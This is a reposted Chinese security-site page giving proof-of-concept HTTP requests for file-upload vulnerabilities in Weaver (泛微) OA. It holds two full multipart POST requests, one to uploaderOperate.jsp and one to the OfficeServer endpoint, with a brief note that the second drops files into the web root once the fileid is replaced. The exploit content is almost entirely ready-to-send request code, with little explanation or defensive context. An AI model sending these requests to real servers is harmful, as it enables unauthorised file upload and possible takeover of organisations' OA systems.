泛微OA uploaderOperate.jsp 文件上传-子云社区

link管理

链接快照平台

输入网页链接，自动生成快照
标签化管理网页链接

相关文章推荐

听话的猴子 · pixiv官方网 - 百度· 2 月前 ·

闯红灯的大熊猫 · 分享cad 2025百度云资源 ...· 3 月前 ·

爱健身的电脑桌 · 2026年世界杯Logo曝光！这次有国足了吧！？· 3 月前 ·

体贴的扁豆 · 少儿田径走进大湾区—粤港澳青少年田径邀请赛开 ...· 4 月前 ·

茫然的开心果 · 【收藏】这篇详尽的危险源辨识和事故举例，告诉 ...· 4 月前 ·

POST /workrelate/plan/util/uploaderOperate.jsp HTTP/1.1

Host: X.X.X.X

Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"

Sec-Ch-Ua-Mobile: ?0

Sec-Ch-Ua-Platform: "macOS"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/101.0.4951.64 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/

*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymVk33liI64J7GQaK

Content-Length: 393

------WebKitFormBoundarymVk33liI64J7GQaK

Content-Disposition: form-data; name="secId"

------WebKitFormBoundarymVk33liI64J7GQaK

Content-Disposition: form-data; name="Filedata"; filename="testlog.txt"

------WebKitFormBoundarymVk33liI64J7GQaK

Content-Disposition: form-data; name="plandetailid"

------WebKitFormBoundarymVk33liI64J7GQaK—

泛微 OA /defaultroot/officeserverservlet ：确认为历史漏洞；
详情： /officeserverservlet 路径文件上传
> 将文件释放至跟网站根路径下在数据包中将 fileid 替换

POST /OfficeServer HTTP/1.1

Host: X.X.X.X

Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101"

Sec-Ch-Ua-Mobile: ?0

Sec-Ch-Ua-Platform: "macOS"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/101.0.4951.64 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/

*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymVk33liI64J7GQaK

Content-Length: 207

------WebKitFormBoundarymVk33liI64J7GQaK

Content-Disposition: form-data; name="aaa"

{'OPTION':'INSERTIMAGE','isInsertImageNew':'1','imagefileid4pic':'20462'}

------WebKitFormBoundarymVk33liI64J7GQaK—

来源：https://www.linuxlz.com/

------本页内容已结束，喜欢请分享------

感谢您的来访，获取更多精彩文章请收藏本站。

文章版权声明 1 本网站名称： 子云社区
2 本站永久网址： www.zilyun.com
3 本站一切资源不代表本站立场，并不代表本站赞同其观点和对其真实性负责。
4 本站一律禁止以任何方式发布或转载任何违法的相关信息，访客发现请向站长举报。
5 本站资源售价只是赞助，收取费用仅维持本站的日常运营所需，并且本站不提供任何技术支持！
6 本网站的文章部分内容可能来源于网络，仅供大家学习与参考，如有侵权，请联系 [email protected]
7 根据《计算机软件保护条例》第十七条，本站所有软件、程序请仅用于学习研究用途，切勿用于商业用途或非法用途。
8 本站仅为转载分享，不提供任何上传下载服务，所有内容均来自互联网第三方分享站点所提供的公开引用内容。更多查阅 《免责声明》

THE END